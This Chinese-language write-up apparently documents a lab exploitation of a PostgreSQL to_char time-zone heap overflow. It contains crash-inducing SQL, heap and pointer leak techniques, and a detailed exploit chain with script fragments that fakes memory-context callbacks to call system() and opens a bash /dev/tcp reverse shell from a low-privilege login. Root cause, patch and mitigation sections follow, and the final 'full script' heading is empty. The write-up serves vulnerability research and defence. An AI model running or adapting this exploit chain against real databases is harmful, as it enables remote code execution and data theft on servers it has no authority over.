&lt;p&gt;vuln 类别对这个端口没有任何输出。这一版 Nmap 里与 PostgreSQL 相关的脚本只剩 &lt;code&gt;pgsql-brute&lt;/code&gt;，属于暴力破解类，需要字典，而且会在服务端留下大量失败登录，不采用。更何况这个漏洞的判定点不在服务指纹上，而在 SQL 行为上，脚本拿不到认证也就无从判断。&lt;/p&gt;
&lt;p&gt;服务指纹只能给出 &lt;code&gt;PostgreSQL DB 9.6.0 or later&lt;/code&gt;，精确版本要连上去读：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
  -tAc &quot;select version();&quot;
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;把会话时区设成缩写为 25 个字符的 POSIX 时区串，再让 &lt;code&gt;to_char&lt;/code&gt; 渲染 &lt;code&gt;TZ&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
  -c &quot;SET TIME ZONE &apos;&amp;lt;AAAAAAAAAAAAAAAAAAAAAAAAA&amp;gt;-3&apos;;&quot; \
  -c &quot;select octet_length(to_char(now(),&apos;TZ&apos;));&quot;
SET
25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;语句正常返回 25，没有报错，也没有告警。此时越界写已经发生，只是 25 字节的量还不足以立刻破坏关键结构。&lt;/p&gt;
&lt;p&gt;把格式串里的 &lt;code&gt;TZ&lt;/code&gt; 重复 64 次、缩写加到 49 个字符，越界量随之放大：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
  -c &quot;SET TIME ZONE &apos;&amp;lt;AAAA...(49 个 A)...&amp;gt;-3&apos;;&quot; \
  -c &quot;select length(to_char(now(), repeat(&apos;TZ&apos;,64)));&quot;
SET
server closed the connection unexpectedly
	This probably means the server terminated abnormally
	before or while processing the request.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接被断开，服务端的日志随即记录到一次段错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2026-11-04 19:53:23.885 UTC [1] LOG:  client backend (PID 712) was terminated by signal 11: Segmentation fault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后端进程崩溃后由 postmaster 统一重启，数据库本身仍然可用。对攻击机而言，这一轮验证的结果就是一条把连接打掉的语句，而它只需要一个普通账号。&lt;/p&gt;
&lt;p&gt;同一个越界写也可以往读的方向用。把缩写的末尾三个字节设成 04 01 01，越界部分会盖住相邻结果的 varlena 长度头，把它改成一个很大的值，再用 COPY 的二进制格式把这块内存整段读回来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ psql -q -tA -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
  -c &quot;SET client_encoding=&apos;SQL_ASCII&apos;&quot; \
  -c &quot;SET TIME ZONE &apos;&amp;lt;AAAA…(40 个 A)…\x04\x01\x01&amp;gt;-10&apos;&quot; \
  -c &quot;COPY (SELECT to_char(now(),&apos;TZ&apos;), to_char(now(),&apos;TZ&apos;)) TO STDOUT (FORMAT binary)&quot; \
  &amp;gt; leak.bin
└─$ ls -l leak.bin
-rw-r--r-- 1 kali kali 16519 leak.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解析这个文件，第一列的长度字段变成了 16445：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file       16519 bytes
fields     2
col1 len   16445
pie ptrs   8 0x562862d97750 0x562862e12410 0x562862ec5f50 0x562862ec6320
libc ptrs  1 0x7f7e55a45de0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一次低权查询就读回了 16445 字节堆内存，其中有 8 个指向程序映像的指针和 1 个指向 libc 的指针，两个基址都能由此还原。连续执行三次，长度与指针完全一致，说明这条读路径是稳定的。&lt;/p&gt;
&lt;p&gt;同一处越界还会制造一次无效释放。把缩写加到 50 个字符，再用 &lt;code&gt;TZtz&lt;/code&gt; 组合渲染：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=lowpriv psql -q -tA -h 192.168.31.148 -p 55432 -U lowpriv -d postgres \
  -c &quot;SET TIME ZONE &apos;&amp;lt;aaaa…(50 个 a)…&amp;gt;-5&apos;&quot; \
  -c &quot;select to_char(now(), &apos;TZtz&apos;);&quot;
ERROR:  pfree called with invalid pointer 0x562862ec1c50 (header 0x6161616161616161)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;错误信息里带着一个活跃堆地址，报错本身就把这个地址交了出来。&lt;/p&gt;
&lt;p&gt;越界读的长度也可以放大。把第三个字节从 01 改成 08，一次能读回 131133 字节；改到 16 时会读到未映射的页，连接被断开，128 KB 左右是这台机器上的上限。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;验证阶段只证明了越界写本身。把链补完，可以从任意可登录账号在目标上拿到一个反弹 shell，全程只走数据库协议，不依赖目标上的任何工具。&lt;/p&gt;
&lt;p&gt;参数依次是目标地址、端口、用户名、口令、回连地址和端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 rs.py 192.168.31.148 55432 postgres postgres 192.168.31.152 4444
[+] PIE base = 0x55d1d6c18000
[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948
[*] fake context -&amp;gt; 0x55d1f17bb940
[+] payload delivered, expect a shell on 192.168.31.152:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击机上的监听端随即收到连接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 34386
bash: cannot set terminal process group (4410): Inappropriate ioctl for device
bash: no job control in this shell
postgres@e2d973a1a25d:~/18/docker$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
postgres@e2d973a1a25d:~/18/docker$ hostname
e2d973a1a25d
postgres@e2d973a1a25d:~/18/docker$ exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹回来的是一个真正的交互式 bash，身份是数据库运行账号。完整脚本放在附录，正文只挑出决定成败的几段。&lt;/p&gt;
&lt;h3&gt;脚本讲解&lt;/h3&gt;
&lt;p&gt;脚本里所有地址都是相对程序映像基址的偏移，运行前先由第一段把基址泄漏出来。&lt;/p&gt;
&lt;h4&gt;第一段：泄漏基址&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;cur.execute(&quot;SELECT set_config(&apos;timezone&apos;, %s, false)&quot;,
            ((b&quot;&amp;lt;&quot;+b&quot;A&quot;*40+bytes([0x08,0x01,0x01])+b&quot;&amp;gt;-10&quot;).decode(&quot;latin1&quot;),))
with c.cursor().copy(&quot;COPY (SELECT to_char(now(),&apos;TZ&apos;), to_char(now(),&apos;TZ&apos;)) TO STDOUT (FORMAT binary)&quot;) as cp:
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时区缩写成 40 个 &lt;code&gt;A&lt;/code&gt; 加三个字节 &lt;code&gt;08 01 01&lt;/code&gt;。第二次 &lt;code&gt;to_char&lt;/code&gt; 的变长字段长度被前一次的越界写覆盖，结果被撑到 16445 字节，&lt;code&gt;COPY&lt;/code&gt; 于是把缓冲区之后的堆内容一起发了出来。解析时跳过 19 字节签名和 2 字节字段数，再按低 12 位 &lt;code&gt;0x4D8&lt;/code&gt; 与页对齐筛出 &lt;code&gt;AllocSetMethods&lt;/code&gt;，减去 &lt;code&gt;0x9D94D8&lt;/code&gt; 就是基址。&lt;/p&gt;
&lt;h4&gt;第二段：伪造块头&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;size = 1 | (0x0A&amp;lt;&amp;lt;3) | (0x69&amp;lt;&amp;lt;11) | (0x64&amp;lt;&amp;lt;19)     # &quot;#\nid&quot;
boff = 64
hdr  = bytes([(3|((size&amp;amp;7)&amp;lt;&amp;lt;5))&amp;amp;0xFF, (size&amp;gt;&amp;gt;3)&amp;amp;0xFF, (size&amp;gt;&amp;gt;11)&amp;amp;0xFF, (size&amp;gt;&amp;gt;19)&amp;amp;0xFF,
              (((size&amp;gt;&amp;gt;27)&amp;amp;3)|((boff&amp;amp;0x3F)&amp;lt;&amp;lt;2))&amp;amp;0xFF, (boff&amp;gt;&amp;gt;6)&amp;amp;0xFF, 0, 0])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这 8 个字节先要能被 &lt;code&gt;pfree&lt;/code&gt; 当成合法块头：低四位等于 3（&lt;code&gt;AllocSetFree&lt;/code&gt;），第五位为 0（非 external）。首字节取 &lt;code&gt;0x23&lt;/code&gt;，同时满足这两条，字符正好是 &lt;code&gt;#&lt;/code&gt;；第二字节放换行，第三、四字节放 &lt;code&gt;id&lt;/code&gt;，于是块头本身就是一条 &lt;code&gt;&quot;#\nid&quot;&lt;/code&gt;。块偏移取 64，让第五字节为零，避免上下文被当成「已复位」而跳过后续动作。&lt;/p&gt;
&lt;p&gt;这一段只保证链能跑通，真正的命令不在这里。&lt;/p&gt;
&lt;h4&gt;第三段：重定向缩写&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;off6 = GEO-8-K
val=0x01010101
ab=[0x06|((val&amp;amp;0xF)&amp;lt;&amp;lt;4), (val&amp;gt;&amp;gt;4)&amp;amp;0xFF, (val&amp;gt;&amp;gt;12)&amp;amp;0xFF, (val&amp;gt;&amp;gt;20)&amp;amp;0xFF,
    ((val&amp;gt;&amp;gt;28)&amp;amp;0x03)|((off6&amp;amp;0x3F)&amp;lt;&amp;lt;2), (off6&amp;gt;&amp;gt;6)&amp;amp;0xFF]
a=bytearray(b&apos;c&apos;*35); a[29:35]=bytes(ab)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GEO&lt;/code&gt; 是 &lt;code&gt;to_char&lt;/code&gt; 缓冲区与 &lt;code&gt;decode&lt;/code&gt; 缓冲区的距离，实测固定为 4192。方法号 6 的语义是 &lt;code&gt;target = chunk - ((hdr&amp;gt;&amp;gt;34) &amp;amp; 0x3FFFFFFE) - 8&lt;/code&gt;，偏移取 &lt;code&gt;4192-8-0x400&lt;/code&gt; 就能把 &lt;code&gt;pfree&lt;/code&gt; 引到载荷里 &lt;code&gt;K&lt;/code&gt; 的位置。&lt;code&gt;val&lt;/code&gt; 用全非零字节填充，避免缩写里出现 NUL。35 字节的缩写在偏移 64 处正好落下这六个字节。&lt;/p&gt;
&lt;h4&gt;第四段：载荷与复位回调&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;if cmd:
    pay[K+0x3C:K+0x44] = (T+0x60).to_bytes(8,&quot;little&quot;)      # reset_cbs
    pay[K+0x5C:K+0x64] = (base+SYSTEM).to_bytes(8,&quot;little&quot;) # func
    pay[K+0x64:K+0x6C] = (T+0x100).to_bytes(8,&quot;little&quot;)     # arg
    pay[K+0x6C:K+0x74] = (0).to_bytes(8,&quot;little&quot;)           # next
    pay[K+0xFC:K+0xFC+len(cmd)+1] = cmd+b&quot;\x00&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段是反弹 shell 的关键。写进 &lt;code&gt;TopTransactionContext&lt;/code&gt; 的值固定是 &lt;code&gt;T-8&lt;/code&gt;，命令若塞在块头里只剩两个字符。于是改用复位回调：上下文结构的 &lt;code&gt;reset_cbs&lt;/code&gt; 字段位于 &lt;code&gt;T+0x40&lt;/code&gt;，指向载荷里 &lt;code&gt;T+0x60&lt;/code&gt; 的回调块，回调的 &lt;code&gt;func&lt;/code&gt; 是 &lt;code&gt;system&lt;/code&gt; 的 PLT 桩，&lt;code&gt;arg&lt;/code&gt; 指向 &lt;code&gt;T+0x100&lt;/code&gt; 的完整命令串。&lt;/p&gt;
&lt;p&gt;回调链在方法表之前执行，参数完全由载荷决定，长度不受块头限制，因此放得下一整条 &lt;code&gt;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/... 0&amp;gt;&amp;amp;1&apos;&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;第五段：收敛落点&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;for i in range(3):
    cur.execute(&quot;SELECT decode(&apos;%s&apos;, ...), to_char(now(),&apos;TZtz&apos;)&quot; % payload(T, base+SCRATCH).hex())
    old = int.from_bytes(res[K-4:K+4], &quot;little&quot;)
    if old &amp;gt; 0x500000000000:
        T = old+8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;decode()&lt;/code&gt; 的落点在同一事务里会漂移，而载荷里的绝对指针必须对准它。做法是拿 &lt;code&gt;.data&lt;/code&gt; 里的空闲槽当标定板：每条语句既把 &lt;code&gt;T-8&lt;/code&gt; 写进槽里，又把槽里的原值读回结果的 &lt;code&gt;K-4&lt;/code&gt; 偏移处。第一次读回 0，第二次读回上一次写入的指针，加八得到真实的 &lt;code&gt;T&lt;/code&gt;，第三次读回同一个值，落点稳定。&lt;/p&gt;
&lt;h4&gt;第六段：写入与提交&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;cmd = (&quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/%s/%d 0&amp;gt;&amp;amp;1&apos;&quot; % (LHOST, LPORT)).encode()
cur.execute(&quot;SELECT length(decode(&apos;%s&apos;, ...)), to_char(now(),&apos;TZtz&apos;)&quot; % payload(T, base+TOPTXN, cmd).hex())
cur.execute(&quot;COMMIT&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把带回调的载荷对准 &lt;code&gt;TopTransactionContext&lt;/code&gt; 写进去，提交时 &lt;code&gt;CommitTransactionCommand&lt;/code&gt; 走到 &lt;code&gt;MemoryContextReset&lt;/code&gt;：先按 &lt;code&gt;reset_cbs&lt;/code&gt; 调用 &lt;code&gt;system&lt;/code&gt;，参数是完整命令，反弹 shell 在这一步建立；随后才走方法表里的 &lt;code&gt;reset&lt;/code&gt;，那里仍是块头中的 &lt;code&gt;&quot;#\nid&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;写必须是事务的最后一条语句：一旦全局被替换，下一条语句的分配会落到伪造上下文上，直接报 &lt;code&gt;could not find block containing chunk&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;结果缓冲区的分配&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;datetime_to_char_body&lt;/code&gt; 按格式串长度申请结果空间，每个格式字符预留 12 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define DCH_MAX_ITEM_SIZ 12
result = palloc(mul_size(fmt_len, DCH_MAX_ITEM_SIZ) + 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;格式串写 &lt;code&gt;TZ&lt;/code&gt; 时 &lt;code&gt;fmt_len&lt;/code&gt; 为 2，缓冲区只有 25 字节。而 &lt;code&gt;DCH_to_char&lt;/code&gt; 处理 &lt;code&gt;TZ&lt;/code&gt; 项时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (tmtcTzn(in))
{
    strcpy(s, tmtcTzn(in));
    s += strlen(s);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strcpy&lt;/code&gt; 之前没有任何长度判断。修复后的版本在这里加了一道检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (strlen(p) &amp;lt;= n-&amp;gt;key-&amp;gt;len * DCH_MAX_ITEM_SIZ)
    strcpy(s, p);
else
    ereport(ERROR, (errcode(ERRCODE_DATETIME_VALUE_OUT_OF_RANGE),
                    errmsg(&quot;time zone format value too long&quot;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;n-&amp;gt;key-&amp;gt;len&lt;/code&gt; 对 &lt;code&gt;TZ&lt;/code&gt; 是 2，所以单个格式项的上限是 24 字节，加上结尾的零正好占满 25 字节的缓冲区。&lt;/p&gt;
&lt;h3&gt;时区缩写的来源与上限&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;tmtcTzn&lt;/code&gt; 返回的是会话时区解析出来的缩写。&lt;code&gt;TimeZone&lt;/code&gt; 支持 POSIX 形式的时区串，尖括号内允许任意字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SET TIME ZONE &apos;&amp;lt;AAAAAAAAAAAAAAAAAAAAAAAAA&amp;gt;-3&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PostgreSQL 的时间区代码用 &lt;code&gt;TZ_MAX_CHARS&lt;/code&gt; 限制缩写长度，值为 50，&lt;code&gt;tzparse&lt;/code&gt; 里 &lt;code&gt;charcnt = stdlen + 1&lt;/code&gt;，因此缩写最长可以到 49 个字符。24 字节的格式项配额对上 49 字节的输入，单次就越界 25 字节。&lt;/p&gt;
&lt;h3&gt;越界量可以精确计算&lt;/h3&gt;
&lt;p&gt;设格式串里 &lt;code&gt;TZ&lt;/code&gt; 出现 N 次、缩写长度 L，则缓冲区为 12 乘 2N 加 1，写入量为 N 乘 L 加 1，两者相减即越界字节数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;N 等于 1、L 等于 49：申请 25 字节，写入 50 字节，越界 25 字节。&lt;/li&gt;
&lt;li&gt;N 等于 64、L 等于 49：申请 1537 字节，写入 3137 字节，越界 1600 字节。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;单次 25 字节只够踩坏相邻堆块的头部，不一定立刻崩溃，这就是验证阶段第一条语句能正常返回的原因。重复 64 次后越界量达到 1.6 KB，足以破坏 8 KB 内存块内的其他对象，于是后端进程段错误。&lt;/p&gt;
&lt;h3&gt;修复版本划出的边界&lt;/h3&gt;
&lt;p&gt;在 18.6 上执行同样的语句，24 个字符的缩写仍然正常，25 个字符直接报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L=24 -&amp;gt; SET|24
L=25 -&amp;gt; SET|ERROR:  time zone format value too long
L=49 -&amp;gt; SET|ERROR:  time zone format value too long
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;24 与 25 之间的分界，正好对应 &lt;code&gt;TZ&lt;/code&gt; 这个格式项被允许的 2 乘 12 字节。&lt;/p&gt;
&lt;h3&gt;从越界写到控制流劫持&lt;/h3&gt;
&lt;p&gt;公开分析把这条链拆成三段。第一段用相邻的两次 &lt;code&gt;to_char&lt;/code&gt; 结果互相覆盖，改写第二个结果的三字节 varlena 长度头，再用 &lt;code&gt;COPY ... TO STDOUT (FORMAT binary)&lt;/code&gt; 把被撑大的值读回客户端，得到约 16 KB 的越界读，从中定位记录类型处理函数的指针，算出 PIE 基址。第二段用 &lt;code&gt;TZtz&lt;/code&gt; 组合触发的 invalid free 错误信息泄漏一个活跃堆指针。第三段利用 &lt;code&gt;GenerationFree&lt;/code&gt; 的类型混淆扩张一次分配，让 &lt;code&gt;decode()&lt;/code&gt; 的数据覆盖 printtup 按行创建的内存上下文，伪造 reset 回调，最终调用 &lt;code&gt;system()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这条链每一步都建立在同一个越界写上，根因只有一处，利用面却贯穿了识别、泄漏与控制流三个层次。本文在 18.4 上完成的是第一段里的越界读与基址还原，第二、第三段依赖按目标构建固定下来的堆布局与偏移，见文末附录。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;官方在 2026 年 8 月 13 日随 18.6、17.11、16.15、15.19、14.24 修复，提交为 &lt;code&gt;3d724bf4fd&lt;/code&gt;，新增 18 行、删除 3 行，回补到 14 分支。修复方式是在 &lt;code&gt;strcpy&lt;/code&gt; 前比对缩写长度与该项的配额，超长直接报错，不做截断。提交说明里提到这是按 CVE-2015-0241 的处理风格写的，同一个函数在十一年前出过同类问题。&lt;/p&gt;
&lt;p&gt;升级到任一修复版本即可。需要注意 14 系列的 14.24 是最后的漏洞修复版本，14 将于 2026 年 11 月 12 日停止维护。&lt;/p&gt;
&lt;p&gt;无法立即升级时的临时措施有限，因为这个漏洞不需要任何特殊权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 收回不必要的连接权限
REVOKE CONNECT ON DATABASE prod FROM PUBLIC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更实际的做法是把数据库端口限制在受信网段，并对 &lt;code&gt;TimeZone&lt;/code&gt; 的异常取值做监控。修复版本会抛出 &lt;code&gt;time zone format value too long&lt;/code&gt;，旧版本没有这条日志，因此监控应针对 &lt;code&gt;SET TIME ZONE&lt;/code&gt; 语句中超过 24 字符的缩写，可以在 &lt;code&gt;log_statement = &apos;all&apos;&lt;/code&gt; 下检索。&lt;/p&gt;
&lt;h2&gt;附录：18.4 完整利用过程与原理&lt;/h2&gt;
&lt;h3&gt;利用过程&lt;/h3&gt;
&lt;p&gt;公开链的常数不能直接搬到 18.4，实测在 grooming 阶段就把后端打死。下面这条链是在 18.4 上从分配器逆推出来的，四段原语逐个验证后拼成。&lt;/p&gt;
&lt;p&gt;第一段，越界写控制邻居块头。&lt;code&gt;to_char(now(),&apos;TZtz&apos;)&lt;/code&gt; 的结果缓冲区是 64 字节的块，越界写正好在偏移 64 处压出六个可控字节，第七、八字节由 &lt;code&gt;strcpy&lt;/code&gt; 的终止符和原值保证为零。把缩写长度设为 35，第 29 到 34 字节就是块头的低六字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L      结果
16-31  正常返回
32     pfree 拒绝，块头 0x0000020000000000
33-49  后端崩溃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二段，把 &lt;code&gt;pfree&lt;/code&gt; 引到自己的数据上。&lt;code&gt;pfree&lt;/code&gt; 只按块头低四位查表，方法号 6 的表项是一段指针对齐代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;target = chunk - ((hdr &amp;gt;&amp;gt; 34) &amp;amp; 0x3FFFFFFE) - 8
然后 jmp pfree(target)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一条语句里 &lt;code&gt;decode()&lt;/code&gt; 落在 &lt;code&gt;D&lt;/code&gt;，&lt;code&gt;to_char&lt;/code&gt; 的缓冲区在 &lt;code&gt;D+4192&lt;/code&gt;，被伪造块头的那块在 &lt;code&gt;D+4192&lt;/code&gt; 之后。用 gdb 量到这个几何后，偏移是一个常数，不依赖具体地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALLOC size=3004 ret=0x55d1f188e578
FORGED p=0x55d1f188f5d8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;十次独立会话全部重定向成功，报错里回显的块头正是我们写在载荷里的标记值。&lt;/p&gt;
&lt;p&gt;第三段，任意读写。方法号 3 的 &lt;code&gt;AllocSetFree&lt;/code&gt; 在非 external 分支上做的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block = chunk - 8 - ((hdr&amp;gt;&amp;gt;34) &amp;amp; 0x3FFFFFFE)
rcx   = *(block)
rsi   = *(rcx + (size+10)*8 + 8)
*(chunk) = rsi
*(rcx + (size+10)*8 + 8) = chunk - 8
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写入的目标地址由 &lt;code&gt;*(block)&lt;/code&gt; 和 &lt;code&gt;size&lt;/code&gt; 共同决定，两者都在载荷里，所以可以指向任意地址；写入的值是 &lt;code&gt;chunk-8&lt;/code&gt;，同时目标原值被读回我们的结果缓冲区，于是同一段代码既做任意写也做任意读，而且不调用 &lt;code&gt;free&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;用这段原语读出两个真实全局：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PortalContext 旧值         = 0x55d1f173e750
TopTransactionContext 旧值 = 0x55d1f18513a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第四段，块头兼作命令串。写进目标的值是块头地址，所以块头自己必须是一条可执行的命令。块头的 8 个字节同时受三个约束：低四位是方法号 3，第五位是 external 标志，第五字节是上下文的是否已复位标志。选 &lt;code&gt;0x23&lt;/code&gt; 作首字节，它同时满足方法号 3 与 external 位为 0，字符是 &lt;code&gt;#&lt;/code&gt;；第二字节放换行 &lt;code&gt;0x0A&lt;/code&gt;，把 &lt;code&gt;id&lt;/code&gt; 推到第二行，绕开注释；第五字节必须为零，所以块偏移取 64：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;23 0a 69 64 00 01 00 00   -&amp;gt;   &quot;#\nid&quot;
size = 0x3234851   block offset = 64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第五段，落点收敛。载荷里的方法表指针必须是绝对地址，而 &lt;code&gt;decode()&lt;/code&gt; 的落点在事务里会漂移。做法是在 &lt;code&gt;.data&lt;/code&gt; 里找一个空闲槽，连续三次用同一形状的语句写它，每次把目标原值读回来，下一步用读回的值修正方法表指针：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两次收敛到同一个值，说明落点稳定，载荷里的绝对指针成立。&lt;/p&gt;
&lt;p&gt;第六段，触发。把收敛后的伪造上下文地址写进 &lt;code&gt;TopTransactionContext&lt;/code&gt;，伪造上下文的方法表里只把 &lt;code&gt;reset&lt;/code&gt; 与 &lt;code&gt;delete_context&lt;/code&gt; 换成 &lt;code&gt;system@plt&lt;/code&gt;，其余保留真实函数。提交事务时 &lt;code&gt;CommitTransactionCommand&lt;/code&gt; 走到 &lt;code&gt;MemoryContextReset&lt;/code&gt;，取出方法表跳到 &lt;code&gt;system&lt;/code&gt;，参数就是伪造上下文本身，也就是那条 &lt;code&gt;&quot;#\nid&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这条链在 18.4 上连跑四次，四次都拿到命令输出，收敛值每次相同。执行过程与输出见前文「漏洞利用」一节。&lt;/p&gt;
&lt;h3&gt;公开链在 19beta1 上的验证&lt;/h3&gt;
&lt;p&gt;完整利用针对 19beta1 的官方构建，全程只走数据库协议。靶机上的实例来自 &lt;code&gt;postgres:19beta1&lt;/code&gt; 镜像，先确认二进制与公开利用声明的构建一致：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/cve-14669]
└─$ sudo docker start pg19b1
pg19b1
└─$ sudo docker cp pg19b1:/usr/lib/postgresql/19/bin/postgres /tmp/pg19b1.bin &amp;amp;&amp;amp; readelf -n /tmp/pg19b1.bin | grep -i &quot;build id&quot;
    Build ID: bfab406f29e25df2412962608339583cdcd8603f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 Build ID 与公开利用里写明的 &lt;code&gt;bfab406f29e25df2412962608339583cdcd8603f&lt;/code&gt; 相同。本地镜像的 digest 是 &lt;code&gt;0df9a84b…&lt;/code&gt;，与利用脚本注释里的 &lt;code&gt;a6bdd01b…&lt;/code&gt; 不同，但偏移只由二进制决定，Build ID 一致就够了。&lt;/p&gt;
&lt;p&gt;执行利用，输出如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 p149.py
[*] Leaked 16445 bytes of out-of-bounds heap
[+] record_type_typmod_hash = 0x56481ff739c0
[+] PIE base (ELF) = 0x56481f89e000
[*] Heap pointer leaked: 0x56485d3c0330
[*] system@plt        = 0x56481f98c280
[*] AllocSetMethods   = 0x5648202f7f98
[+] Exploit payload sent; check the target logs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;容器日志里出现被执行命令的输出，随后后端崩溃、postmaster 重新初始化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/cve-14669]
└─$ sudo docker logs --tail 15 pg19b1
PWNED
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
2026-11-05 10:15:59.588 UTC [1] LOG:  client backend (PID 43) was terminated by signal 11: Segmentation fault
2026-11-05 10:15:59.597 UTC [1] LOG:  all server processes terminated; reinitializing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条链连跑五次，五次都拿到命令输出。它对语句顺序敏感：在泄漏和利用之间插入任何一条多余查询，堆布局变了，grooming 阶段就会崩。&lt;/p&gt;
&lt;h3&gt;与公开链的差别&lt;/h3&gt;
&lt;p&gt;19beta1 的公开链靠 &lt;code&gt;GenerationFree&lt;/code&gt; 的摘链做两次写，写完整块后紧跟一句 &lt;code&gt;free(block)&lt;/code&gt;，伪造块不是 malloc 块首，进程当场 abort。18.4 上这条走不通，实测 100 轮组合全部在利用语句内崩溃。&lt;/p&gt;
&lt;p&gt;18.4 这条链改成 &lt;code&gt;AllocSetFree&lt;/code&gt; 的非 external 分支，它不调用 &lt;code&gt;free&lt;/code&gt;，只做一次搬移，因此能把写和后续的提交触发放在同一个事务里。代价是写入的值被固定成块头地址，于是命令只能塞进块头的 8 个字节里，靠换行和注释绕开首字节的限制。&lt;/p&gt;
&lt;h3&gt;完整脚本&lt;/h3&gt;
